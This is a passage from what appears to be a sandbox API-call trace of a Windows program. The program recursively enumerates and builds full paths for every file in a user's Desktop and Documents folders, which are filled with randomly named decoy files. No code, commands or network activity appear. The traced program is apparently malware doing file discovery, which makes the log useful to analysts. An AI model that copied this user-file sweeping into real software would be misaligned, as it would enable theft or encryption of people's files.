lpString2="fEub.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\fEub.wav") returned="c:\\Users\\aETAdzjz\\Desktop\\fEub.wav" [0040.236] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\fEub.wav") returned 34 [0040.236] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.236] lstrcmpW (lpString1="fIE0hH.mp3", lpString2=".") returned 1 [0040.236] lstrcmpW (lpString1="fIE0hH.mp3", lpString2="..") returned 1 [0040.236] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.236] lstrlenW (lpString="fIE0hH.mp3") returned 10 [0040.236] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="fIE0hH.mp3" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\fIE0hH.mp3") returned="c:\\Users\\aETAdzjz\\Desktop\\fIE0hH.mp3" [0040.236] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\fIE0hH.mp3") returned 36 [0040.236] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.236] lstrcmpW (lpString1="Fl_cD2j6qBLGAZWA2SQL.odp", lpString2=".") returned 1 [0040.236] lstrcmpW (lpString1="Fl_cD2j6qBLGAZWA2SQL.odp", lpString2="..") returned 1 [0040.236] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.236] lstrlenW (lpString="Fl_cD2j6qBLGAZWA2SQL.odp") returned 24 [0040.236] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="Fl_cD2j6qBLGAZWA2SQL.odp" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\Fl_cD2j6qBLGAZWA2SQL.odp") returned="c:\\Users\\aETAdzjz\\Desktop\\Fl_cD2j6qBLGAZWA2SQL.odp" [0040.236] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\Fl_cD2j6qBLGAZWA2SQL.odp") returned 50 [0040.236] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.236] lstrcmpW (lpString1="GSiecs ARL59i.pps", lpString2=".") returned 1 [0040.236] lstrcmpW (lpString1="GSiecs ARL59i.pps", lpString2="..") returned 1 [0040.236] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.236] lstrlenW (lpString="GSiecs ARL59i.pps") returned 17 [0040.236] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="GSiecs ARL59i.pps" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\GSiecs ARL59i.pps") returned="c:\\Users\\aETAdzjz\\Desktop\\GSiecs ARL59i.pps" [0040.236] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\GSiecs ARL59i.pps") returned 43 [0040.236] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.236] lstrcmpW (lpString1="gt_ueLv0.rtf", lpString2=".") returned 1 [0040.236] lstrcmpW (lpString1="gt_ueLv0.rtf", lpString2="..") returned 1 [0040.236] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.236] lstrlenW (lpString="gt_ueLv0.rtf") returned 12 [0040.236] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="gt_ueLv0.rtf" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\gt_ueLv0.rtf") returned="c:\\Users\\aETAdzjz\\Desktop\\gt_ueLv0.rtf" [0040.236] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\gt_ueLv0.rtf") returned 38 [0040.236] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.236] lstrcmpW (lpString1="i92xqrOtuyGPP.png", lpString2=".") returned 1 [0040.236] lstrcmpW (lpString1="i92xqrOtuyGPP.png", lpString2="..") returned 1 [0040.236] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.236] lstrlenW (lpString="i92xqrOtuyGPP.png") returned 17 [0040.236] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="i92xqrOtuyGPP.png" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\i92xqrOtuyGPP.png") returned="c:\\Users\\aETAdzjz\\Desktop\\i92xqrOtuyGPP.png" [0040.236] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\i92xqrOtuyGPP.png") returned 43 [0040.236] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.236] lstrcmpW (lpString1="ihknzkjo.doc", lpString2=".") returned 1 [0040.236] lstrcmpW (lpString1="ihknzkjo.doc", lpString2="..") returned 1 [0040.236] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.236] lstrlenW (lpString="ihknzkjo.doc") returned 12 [0040.236] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="ihknzkjo.doc" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned="c:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc" [0040.236] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned 38 [0040.236] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.236] lstrcmpW (lpString1="Iq3XvyyaEWO13.mp3", lpString2=".") returned 1 [0040.236] lstrcmpW (lpString1="Iq3XvyyaEWO13.mp3", lpString2="..") returned 1 [0040.237] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.237] lstrlenW (lpString="Iq3XvyyaEWO13.mp3") returned 17 [0040.237] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="Iq3XvyyaEWO13.mp3" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\Iq3XvyyaEWO13.mp3") returned="c:\\Users\\aETAdzjz\\Desktop\\Iq3XvyyaEWO13.mp3" [0040.237] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\Iq3XvyyaEWO13.mp3") returned 43 [0040.237] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.237] lstrcmpW (lpString1="j6DZIy9vQbux5.ppt", lpString2=".") returned 1 [0040.237] lstrcmpW (lpString1="j6DZIy9vQbux5.ppt", lpString2="..") returned 1 [0040.237] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.237] lstrlenW (lpString="j6DZIy9vQbux5.ppt") returned 17 [0040.237] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="j6DZIy9vQbux5.ppt" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\j6DZIy9vQbux5.ppt") returned="c:\\Users\\aETAdzjz\\Desktop\\j6DZIy9vQbux5.ppt" [0040.237] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\j6DZIy9vQbux5.ppt") returned 43 [0040.237] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.237] lstrcmpW (lpString1="KhpA.jpg", lpString2=".") returned 1 [0040.237] lstrcmpW (lpString1="KhpA.jpg", lpString2="..") returned 1 [0040.237] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.237] lstrlenW (lpString="KhpA.jpg") returned 8 [0040.237] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="KhpA.jpg" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\KhpA.jpg") returned="c:\\Users\\aETAdzjz\\Desktop\\KhpA.jpg" [0040.237] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\KhpA.jpg") returned 34 [0040.237] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.237] lstrcmpW (lpString1="kiam-z8FT.png", lpString2=".") returned 1 [0040.237] lstrcmpW (lpString1="kiam-z8FT.png", lpString2="..") returned 1 [0040.237] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.237] lstrlenW (lpString="kiam-z8FT.png") returned 13 [0040.237] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="kiam-z8FT.png" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\kiam-z8FT.png") returned="c:\\Users\\aETAdzjz\\Desktop\\kiam-z8FT.png" [0040.237] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\kiam-z8FT.png") returned 39 [0040.237] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.237] lstrcmpW (lpString1="M Py5Nq8", lpString2=".") returned 1 [0040.237] lstrcmpW (lpString1="M Py5Nq8", lpString2="..") returned 1 [0040.237] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.237] lstrlenW (lpString="M Py5Nq8") returned 8 [0040.237] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="M Py5Nq8" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\M Py5Nq8") returned="c:\\Users\\aETAdzjz\\Desktop\\M Py5Nq8" [0040.237] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.237] lstrcmpW (lpString1="Q6O2n7WwKPR.bmp", lpString2=".") returned 1 [0040.237] lstrcmpW (lpString1="Q6O2n7WwKPR.bmp", lpString2="..") returned 1 [0040.237] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.237] lstrlenW (lpString="Q6O2n7WwKPR.bmp") returned 15 [0040.237] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="Q6O2n7WwKPR.bmp" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\Q6O2n7WwKPR.bmp") returned="c:\\Users\\aETAdzjz\\Desktop\\Q6O2n7WwKPR.bmp" [0040.237] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\Q6O2n7WwKPR.bmp") returned 41 [0040.237] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.237] lstrcmpW (lpString1="RL27mS.mkv", lpString2=".") returned 1 [0040.237] lstrcmpW (lpString1="RL27mS.mkv", lpString2="..") returned 1 [0040.237] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.237] lstrlenW (lpString="RL27mS.mkv") returned 10 [0040.237] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="RL27mS.mkv" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\RL27mS.mkv") returned="c:\\Users\\aETAdzjz\\Desktop\\RL27mS.mkv" [0040.238] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\RL27mS.mkv") returned 36 [0040.238] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.238] lstrcmpW (lpString1="Sa--KaU.pptx", lpString2=".") returned 1 [0040.238] lstrcmpW (lpString1="Sa--KaU.pptx", lpString2="..") returned 1 [0040.238] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.238] lstrlenW (lpString="Sa--KaU.pptx") returned 12 [0040.238] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="Sa--KaU.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\Sa--KaU.pptx") returned="c:\\Users\\aETAdzjz\\Desktop\\Sa--KaU.pptx" [0040.238] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\Sa--KaU.pptx") returned 38 [0040.238] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.238] lstrcmpW (lpString1="s_XSUWu8QQnZOg4V9zrx.mkv", lpString2=".") returned 1 [0040.238] lstrcmpW (lpString1="s_XSUWu8QQnZOg4V9zrx.mkv", lpString2="..") returned 1 [0040.238] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.238] lstrlenW (lpString="s_XSUWu8QQnZOg4V9zrx.mkv") returned 24 [0040.238] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="s_XSUWu8QQnZOg4V9zrx.mkv" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\s_XSUWu8QQnZOg4V9zrx.mkv") returned="c:\\Users\\aETAdzjz\\Desktop\\s_XSUWu8QQnZOg4V9zrx.mkv" [0040.238] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\s_XSUWu8QQnZOg4V9zrx.mkv") returned 50 [0040.238] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.238] lstrcmpW (lpString1="uTQTV2mVPN8RQx.ppt", lpString2=".") returned 1 [0040.238] lstrcmpW (lpString1="uTQTV2mVPN8RQx.ppt", lpString2="..") returned 1 [0040.238] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.238] lstrlenW (lpString="uTQTV2mVPN8RQx.ppt") returned 18 [0040.238] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="uTQTV2mVPN8RQx.ppt" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\uTQTV2mVPN8RQx.ppt") returned="c:\\Users\\aETAdzjz\\Desktop\\uTQTV2mVPN8RQx.ppt" [0040.238] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\uTQTV2mVPN8RQx.ppt") returned 44 [0040.238] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.238] lstrcmpW (lpString1="U_x855jOMDYCkkuEDF4Y.jpg", lpString2=".") returned 1 [0040.238] lstrcmpW (lpString1="U_x855jOMDYCkkuEDF4Y.jpg", lpString2="..") returned 1 [0040.238] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.238] lstrlenW (lpString="U_x855jOMDYCkkuEDF4Y.jpg") returned 24 [0040.238] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="U_x855jOMDYCkkuEDF4Y.jpg" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\U_x855jOMDYCkkuEDF4Y.jpg") returned="c:\\Users\\aETAdzjz\\Desktop\\U_x855jOMDYCkkuEDF4Y.jpg" [0040.238] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\U_x855jOMDYCkkuEDF4Y.jpg") returned 50 [0040.238] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.238] lstrcmpW (lpString1="VYQMONSJuegc.mp3", lpString2=".") returned 1 [0040.238] lstrcmpW (lpString1="VYQMONSJuegc.mp3", lpString2="..") returned 1 [0040.238] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.238] lstrlenW (lpString="VYQMONSJuegc.mp3") returned 16 [0040.238] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="VYQMONSJuegc.mp3" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\VYQMONSJuegc.mp3") returned="c:\\Users\\aETAdzjz\\Desktop\\VYQMONSJuegc.mp3" [0040.238] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\VYQMONSJuegc.mp3") returned 42 [0040.238] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.238] lstrcmpW (lpString1="w2L1Az-.m4a", lpString2=".") returned 1 [0040.238] lstrcmpW (lpString1="w2L1Az-.m4a", lpString2="..") returned 1 [0040.238] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.238] lstrlenW (lpString="w2L1Az-.m4a") returned 11 [0040.238] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="w2L1Az-.m4a" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\w2L1Az-.m4a") returned="c:\\Users\\aETAdzjz\\Desktop\\w2L1Az-.m4a" [0040.238] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\w2L1Az-.m4a") returned 37 [0040.238] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.238] lstrcmpW (lpString1="XLx9XFVUH.jpg", lpString2=".") returned 1 [0040.239] lstrcmpW (lpString1="XLx9XFVUH.jpg", lpString2="..") returned 1 [0040.239] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.239] lstrlenW (lpString="XLx9XFVUH.jpg") returned 13 [0040.239] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="XLx9XFVUH.jpg" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\XLx9XFVUH.jpg") returned="c:\\Users\\aETAdzjz\\Desktop\\XLx9XFVUH.jpg" [0040.239] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\XLx9XFVUH.jpg") returned 39 [0040.239] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.239] lstrcmpW (lpString1="ZgiD.png", lpString2=".") returned 1 [0040.239] lstrcmpW (lpString1="ZgiD.png", lpString2="..") returned 1 [0040.239] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.239] lstrlenW (lpString="ZgiD.png") returned 8 [0040.239] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="ZgiD.png" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\ZgiD.png") returned="c:\\Users\\aETAdzjz\\Desktop\\ZgiD.png" [0040.239] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\ZgiD.png") returned 34 [0040.239] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.239] lstrcmpW (lpString1="~$knzkjo.doc", lpString2=".") returned 1 [0040.239] lstrcmpW (lpString1="~$knzkjo.doc", lpString2="..") returned 1 [0040.239] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0040.239] lstrlenW (lpString="~$knzkjo.doc") returned 12 [0040.239] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="~$knzkjo.doc" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\~$knzkjo.doc") returned="c:\\Users\\aETAdzjz\\Desktop\\~$knzkjo.doc" [0040.239] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\~$knzkjo.doc") returned 38 [0040.239] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.239] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.239] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.239] lstrcmpW (lpString1="Documents", lpString2=".") returned 1 [0040.239] lstrcmpW (lpString1="Documents", lpString2="..") returned 1 [0040.239] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0040.239] lstrlenW (lpString="Documents") returned 9 [0040.239] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Documents" | out: lpString1="c:\\Users\\aETAdzjz\\Documents") returned="c:\\Users\\aETAdzjz\\Documents" [0040.239] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\") returned="c:\\Users\\aETAdzjz\\Documents\\" [0040.239] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0040.239] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\*") returned="c:\\Users\\aETAdzjz\\Documents\\*" [0040.239] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Documents\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.239] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.239] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.239] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.239] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.239] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.239] lstrcmpW (lpString1="1af7s2.pdf", lpString2=".") returned 1 [0040.239] lstrcmpW (lpString1="1af7s2.pdf", lpString2="..") returned 1 [0040.239] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0040.239] lstrlenW (lpString="1af7s2.pdf") returned 10 [0040.239] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="1af7s2.pdf" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\1af7s2.pdf") returned="c:\\Users\\aETAdzjz\\Documents\\1af7s2.pdf" [0040.239] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\1af7s2.pdf") returned 38 [0040.240] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.240] lstrcmpW (lpString1="2SERkLWGvw2WR0dVkh.docx", lpString2=".") returned 1 [0040.240] lstrcmpW (lpString1="2SERkLWGvw2WR0dVkh.docx", lpString2="..") returned 1 [0040.240] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0040.240] lstrlenW (lpString="2SERkLWGvw2WR0dVkh.docx") returned 23 [0040.240] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="2SERkLWGvw2WR0dVkh.docx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\2SERkLWGvw2WR0dVkh.docx") returned="c:\\Users\\aETAdzjz\\Documents\\2SERkLWGvw2WR0dVkh.docx" [0040.240] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\2SERkLWGvw2WR0dVkh.docx") returned 51 [0040.240] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.240] lstrcmpW (lpString1="bnGTVm7.xlsx", lpString2=".") returned 1 [0040.240] lstrcmpW (lpString1="bnGTVm7.xlsx", lpString2="..") returned 1 [0040.240] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0040.240] lstrlenW (lpString="bnGTVm7.xlsx") returned 12 [0040.240] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="bnGTVm7.xlsx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\bnGTVm7.xlsx") returned="c:\\Users\\aETAdzjz\\Documents\\bnGTVm7.xlsx" [0040.240] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\bnGTVm7.xlsx") returned 40 [0040.240] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.240] lstrcmpW (lpString1="C40Oh8.xlsx", lpString2=".") returned 1 [0040.240] lstrcmpW (lpString1="C40Oh8.xlsx", lpString2="..") returned 1 [0040.240] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0040.240] lstrlenW (lpString="C40Oh8.xlsx") returned 11 [0040.240] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="C40Oh8.xlsx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\C40Oh8.xlsx") returned="c:\\Users\\aETAdzjz\\Documents\\C40Oh8.xlsx" [0040.240] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\C40Oh8.xlsx") returned 39 [0040.240] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.240] lstrcmpW (lpString1="C9bf3zXlekmUcEs.pptx", lpString2=".") returned 1 [0040.240] lstrcmpW (lpString1="C9bf3zXlekmUcEs.pptx", lpString2="..") returned 1 [0040.240] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0040.240] lstrlenW (lpString="C9bf3zXlekmUcEs.pptx") returned 20 [0040.240] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="C9bf3zXlekmUcEs.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\C9bf3zXlekmUcEs.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\C9bf3zXlekmUcEs.pptx" [0040.240] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\C9bf3zXlekmUcEs.pptx") returned 48 [0040.240] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.240] lstrcmpW (lpString1="Database1.accdb", lpString2=".") returned 1 [0040.240] lstrcmpW (lpString1="Database1.accdb", lpString2="..") returned 1 [0040.240] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0040.240] lstrlenW (lpString="Database1.accdb") returned 15 [0040.240] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="Database1.accdb" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\Database1.accdb") returned="c:\\Users\\aETAdzjz\\Documents\\Database1.accdb" [0040.240] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\Database1.accdb") returned 43 [0040.240] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.240] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0040.240] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0040.240] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0040.240] lstrlenW (lpString="desktop.ini") returned 11 [0040.240] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Documents\\desktop.ini" [0040.240] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\desktop.ini") returned 39 [0040.240] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.240] lstrcmpW (lpString1="FQiUCeN.pptx", lpString2=".") returned 1 [0040.240] lstrcmpW (lpString1="FQiUCeN.pptx", lpString2="..") returned 1 [0040.240] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0040.240] lstrlenW (lpString="FQiUCeN.pptx") returned 12 [0040.240] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="FQiUCeN.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\FQiUCeN.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\FQiUCeN.pptx" [0040.241] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\FQiUCeN.pptx") returned 40 [0040.241] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.241] lstrcmpW (lpString1="gU8x7JTYUiEeJlLB.docx", lpString2=".") returned 1 [0040.241] lstrcmpW (lpString1="gU8x7JTYUiEeJlLB.docx", lpString2="..") returned 1 [0040.241] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0040.241] lstrlenW (lpString="gU8x7JTYUiEeJlLB.docx") returned 21 [0040.241] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="gU8x7JTYUiEeJlLB.docx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\gU8x7JTYUiEeJlLB.docx") returned="c:\\Users\\aETAdzjz\\Documents\\gU8x7JTYUiEeJlLB.docx" [0040.241] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\gU8x7JTYUiEeJlLB.docx") returned 49 [0040.241] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.241] lstrcmpW (lpString1="g_3izHwQ87.docx", lpString2=".") returned 1 [0040.241] lstrcmpW (lpString1="g_3izHwQ87.docx", lpString2="..") returned 1 [0040.241] lstrlenW 